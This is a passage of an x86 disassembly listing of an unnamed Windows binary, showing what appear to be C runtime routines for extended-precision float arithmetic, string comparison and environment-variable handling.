		ja	short loc_421F0A
		xor	eax, eax
		jmp	short loc_421F44
; ---------------------------------------------------------------------------

loc_421F0A:				; CODE XREF: sub_421EA1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421F2C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421F2C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421F2E
		cmp	[esi], eax
		jnz	short loc_421F2E
		jmp	loc_42209B
; ---------------------------------------------------------------------------

loc_421F2C:				; CODE XREF: sub_421EA1+71j
					; sub_421EA1+79j
		xor	eax, eax

loc_421F2E:				; CODE XREF: sub_421EA1+80j
					; sub_421EA1+84j
		cmp	cx, ax
		jnz	short loc_421F51
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421F51
		cmp	[ebx+4], eax
		jnz	short loc_421F51
		cmp	[ebx], eax
		jnz	short loc_421F51

loc_421F44:				; CODE XREF: sub_421EA1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4220BC
; ---------------------------------------------------------------------------

loc_421F51:				; CODE XREF: sub_421EA1+90j
					; sub_421EA1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_421F61:				; CODE XREF: sub_421EA1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421FB5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_421F7D:				; CODE XREF: sub_421EA1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421FA8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_421FA8:				; CODE XREF: sub_421EA1+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421F7D

loc_421FB5:				; CODE XREF: sub_421EA1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421F61
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421FF8

loc_421FD3:				; CODE XREF: sub_421EA1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421FF1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213B6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421FD3

loc_421FF1:				; CODE XREF: sub_421EA1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_422031

loc_421FF8:				; CODE XREF: sub_421EA1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_422031
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_422011:				; CODE XREF: sub_421EA1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42201A
		inc	[ebp+var_14]

loc_42201A:				; CODE XREF: sub_421EA1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213E4
		dec	ebx
		pop	ecx
		jnz	short loc_422011
		cmp	[ebp+var_14], 0
		jz	short loc_422031
		or	byte ptr [ebp+var_24], 1

loc_422031:				; CODE XREF: sub_421EA1+155j
					; sub_421EA1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422048
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42207D

loc_422048:				; CODE XREF: sub_421EA1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42207A
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_422075
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42206F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_42206F:				; CODE XREF: sub_421EA1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_422075:				; CODE XREF: sub_421EA1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_42207A:				; CODE XREF: sub_421EA1+1ABj
		inc	[ebp+var_24+2]

loc_42207D:				; CODE XREF: sub_421EA1+1A5j
					; sub_421EA1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4220A1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_42209B:				; CODE XREF: sub_421EA1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4220BC
; ---------------------------------------------------------------------------

loc_4220A1:				; CODE XREF: sub_421EA1+42j
					; sub_421EA1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_4220BC:				; CODE XREF: sub_421EA1+ABj
					; sub_421EA1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: sub_4214D8+440p
					; sub_4219A9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_436760
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		jge	short loc_4220E9
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4368C0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_4220E9:				; CODE XREF: sub_4220C1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4220F4
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_4220F4:				; CODE XREF: sub_4220C1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		push	esi
		push	edi

loc_4220FB:				; CODE XREF: sub_4220C1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422133
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422126
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_422126:				; CODE XREF: sub_4220C1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421EA1
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_422133:				; CODE XREF: sub_4220C1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4220FB
		pop	edi
		pop	esi

loc_42213A:				; CODE XREF: sub_4220C1+14j
					; sub_4220C1+36j
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42213D	proc near		; CODE XREF: sub_421DAE+5Ep
					; sub_422619+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42214A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42214A:				; CODE XREF: sub_42213D+7j
		push	dword_4CEDE4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4CF004
		call	sub_4221EA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422177
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422177:				; CODE XREF: sub_42213D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42213D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217C	proc near		; CODE XREF: sub_421DAE+1Ep
					; sub_422492+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4CD9E4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4221DD
		mov	ebx, dword_424150

loc_422195:				; CODE XREF: sub_42217C+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4221E5
		push	ebp
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4221E5
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_4221E5
		push	edi
		push	[esp+18h+var_4]
		call	sub_422492
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422195

loc_4221DD:				; CODE XREF: sub_42217C+11j
		xor	eax, eax

loc_4221DF:				; CODE XREF: sub_42217C+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_4221E5:				; CODE XREF: sub_42217C+29j
					; sub_42217C+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4221DF
sub_42217C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221EA	proc near		; CODE XREF: sub_42213D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C88
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4CDCA0, ebx
		push	1
		pop	edi
		jnz	short loc_42225D
		push	edi
		mov	eax, offset dword_4248D8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25C0000h
		test	eax, eax
		jz	short loc_42223A
		mov	dword_4CDCA0, edi
		jmp	short loc_42225D
; ---------------------------------------------------------------------------

loc_42223A:				; CODE XREF: sub_4221EA+46j
		push	edi
		mov	eax, offset dword_436EF4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25C05B8h
		nop
		test	eax, eax
		jz	loc_422453
		mov	dword_4CDCA0, 2

loc_42225D:				; CODE XREF: sub_4221EA+31j
					; sub_4221EA+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422274
		push	esi
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_422274:				; CODE XREF: sub_4221EA+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422289
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_422289:				; CODE XREF: sub_4221EA+8Dj
		mov	eax, dword_4CDCA0
		cmp	eax, 2
		jnz	short loc_4222AE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25C05B8h
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222AE:				; CODE XREF: sub_4221EA+A7j
		cmp	eax, edi
		jnz	loc_422453
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4222C3
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax

loc_4222C3:				; CODE XREF: sub_4221EA+CFj
		cmp	esi, ebx
		jz	short loc_4222D0
		cmp	[ebp+arg_14], ebx
		jnz	loc_422368

loc_4222D0:				; CODE XREF: sub_4221EA+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4222DD

loc_4222D5:				; CODE XREF: sub_4221EA+13Cj
					; sub_4221EA+16Dj
		push	2

loc_4222D7:				; CODE XREF: sub_4221EA+146j
		pop	eax
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222DD:				; CODE XREF: sub_4221EA+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4222E9

loc_4222E2:				; CODE XREF: sub_4221EA+151j
					; sub_4221EA+159j ...
		mov	eax, edi
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222E9:				; CODE XREF: sub_4221EA+F6j
		cmp	esi, edi
		jg	short loc_42232E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2871205h
		test	eax, eax
		jz	loc_422453
		cmp	esi, ebx
		jle	short loc_422332
		cmp	[ebp+var_3C], 2
		jb	short loc_42232E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42232E

loc_422314:				; CODE XREF: sub_4221EA+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42232E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422328
		cmp	cl, dl
		jbe	short loc_4222D5

loc_422328:				; CODE XREF: sub_4221EA+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422314

loc_42232E:				; CODE XREF: sub_4221EA+101j
					; sub_4221EA+120j ...
		push	3
		jmp	short loc_4222D7
; ---------------------------------------------------------------------------

loc_422332:				; CODE XREF: sub_4221EA+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422368
		cmp	[ebp+var_3C], 2
		jb	short loc_4222E2
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4222E2

loc_422345:				; CODE XREF: sub_4221EA+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4222E2
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42235D
		cmp	cl, dl
		jbe	loc_4222D5

loc_42235D:				; CODE XREF: sub_4221EA+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422345
		jmp	loc_4222E2
; ---------------------------------------------------------------------------

loc_422368:				; CODE XREF: sub_4221EA+E0j
					; sub_4221EA+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	near ptr 2630000h
		nop
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422453
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4223B7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4223B7:				; CODE XREF: sub_4221EA+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422453
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_424070
		call	esi
		test	eax, eax
		jz	short loc_422453
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422453
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422422
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_422422:				; CODE XREF: sub_4221EA+224j
		cmp	edi, ebx
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25C0000h
		jmp	short loc_422455
; ---------------------------------------------------------------------------

loc_422453:				; CODE XREF: sub_4221EA+63j
					; sub_4221EA+C6j ...
		xor	eax, eax

loc_422455:				; CODE XREF: sub_4221EA+BFj
					; sub_4221EA+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_422467	proc near		; CODE XREF: sub_41E709+81p
					; sub_4221EA+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422484

loc_422477:				; CODE XREF: sub_422467+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422484
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422477

loc_422484:				; CODE XREF: sub_422467+Ej
					; sub_422467+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42248F
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_42248F:				; CODE XREF: sub_422467+21j
		mov	eax, edx
		retn
sub_422467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422492	proc near		; CODE XREF: sub_42217C+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4224F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4226D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4224F6
		cmp	[ebp+arg_0], esi
		jz	short loc_4224F6
		mov	eax, dword_4CD9DC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4CD9E0
		jnz	short loc_4224DC
		push	eax
		call	sub_422671
		pop	ecx
		mov	dword_4CD9DC, eax

loc_4224DC:				; CODE XREF: sub_422492+3Cj
		cmp	eax, edi
		jnz	short loc_422534
		cmp	[ebp+arg_4], edi
		jz	short loc_4224FE
		cmp	dword_4CD9E4, edi
		jz	short loc_4224FE
		call	sub_42217C
		test	eax, eax
		jz	short loc_422534

loc_4224F6:				; CODE XREF: sub_422492+Dj
					; sub_422492+22j ...
		or	eax, 0FFFFFFFFh

loc_4224F9:				; CODE XREF: sub_422492+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4224FE:				; CODE XREF: sub_422492+51j
					; sub_422492+59j
		cmp	ebx, edi
		jnz	loc_422612
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_4CD9DC, eax
		jz	short loc_4224F6
		mov	[eax], edi
		cmp	dword_4CD9E4, edi
		jnz	short loc_422534
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_4CD9E4, eax
		jz	short loc_4224F6
		mov	[eax], edi

loc_422534:				; CODE XREF: sub_422492+4Cj
					; sub_422492+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4CD9DC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422619
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422594
		cmp	dword ptr [edi], 0
		jz	short loc_422594
		test	ebx, ebx
		jz	short loc_42258C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C3B
		pop	ecx

loc_422566:				; CODE XREF: sub_422492+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422576
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422566
; ---------------------------------------------------------------------------

loc_422576:				; CODE XREF: sub_422492+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4225C6
		jmp	short loc_4225C1
; ---------------------------------------------------------------------------

loc_42258C:				; CODE XREF: sub_422492+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4225C6
; ---------------------------------------------------------------------------

loc_422594:				; CODE XREF: sub_422492+BDj
					; sub_422492+C2j
		test	ebx, ebx
		jnz	short loc_422612
		test	esi, esi
		jge	short loc_42259E
		neg	esi

loc_42259E:				; CODE XREF: sub_422492+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4224F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4225C1:				; CODE XREF: sub_422492+F8j
		mov	dword_4CD9DC, eax

loc_4225C6:				; CODE XREF: sub_422492+F6j
					; sub_422492+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422612
		push	[ebp+arg_0]
		call	sub_417AB0
		inc	eax
		inc	eax
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422612
		push	[ebp+arg_0]
		push	esi
		call	sub_4179C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25B01A7h
		push	esi
		call	sub_417C3B
		pop	ecx

loc_422612:				; CODE XREF: sub_422492+6Ej
					; sub_422492+104j ...
		xor	eax, eax
		jmp	loc_4224F9
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================



sub_422619	proc near		; CODE XREF: sub_422492+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4CD9DC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422654
		mov	edi, [esp+8+arg_4]

loc_42262B:				; CODE XREF: sub_422619+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42264A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422664
		test	al, al
		jz	short loc_422664

loc_42264A:				; CODE XREF: sub_422619+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42262B

loc_422654:				; CODE XREF: sub_422619+Cj
		mov	eax, esi
		sub	eax, dword_4CD9DC
		sar	eax, 2
		neg	eax

loc_422661:				; CODE XREF: sub_422619+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422664:				; CODE XREF: sub_422619+2Bj
					; sub_422619+2Fj
		mov	eax, esi
		sub	eax, dword_4CD9DC
		sar	eax, 2
		jmp	short loc_422661
sub_422619	endp


; =============== S U B	R O U T	I N E =======================================



sub_422671	proc near		; CODE XREF: sub_422492+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422680
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_422680:				; CODE XREF: sub_422671+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422692

loc_422688:				; CODE XREF: sub_422671+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422688

loc_422692:				; CODE XREF: sub_422671+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4226B3
		push	9
		call	sub_419CDA
		pop	ecx

loc_4226B3:				; CODE XREF: sub_422671+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4226B7:				; CODE XREF: sub_422671+5Bj
		test	eax, eax
		jz	short loc_4226CE
		push	eax
		add	ebx, 4
		call	sub_42274B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4226B7
; ---------------------------------------------------------------------------

loc_4226CE:				; CODE XREF: sub_422671+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D8	proc near		; CODE XREF: sub_422492+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4CEDFC, 0
		jnz	short loc_4226F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418F50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4226F3:				; CODE XREF: sub_4226D8+Aj
		mov	ecx, [ebp+arg_0]

loc_4226F6:				; CODE XREF: sub_4226D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_422739
		movzx	edx, al
		test	byte_4CEF01[edx], 4
		jz	short loc_422725
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422730
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422734
		jmp	short loc_42272D
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_4226D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_422739

loc_42272D:				; CODE XREF: sub_4226D8+4Bj
		inc	ecx
		jmp	short loc_4226F6
; ---------------------------------------------------------------------------

loc_422730:				; CODE XREF: sub_4226D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422734:				; CODE XREF: sub_4226D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422739:				; CODE XREF: sub_4226D8+25j
					; sub_4226D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4226D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42274B	proc near		; CODE XREF: sub_40A7D7+21p
					; sub_422671+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422772
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422772
		push	esi
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422772:				; CODE XREF: sub_42274B+7j
					; sub_42274B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42274B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_422863+19p
					; sub_42298A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4046A3
		mov	eax, esi
		pop	esi
		retn	8
sub_422780	endp


; =============== S U B	R O U T	I N E =======================================



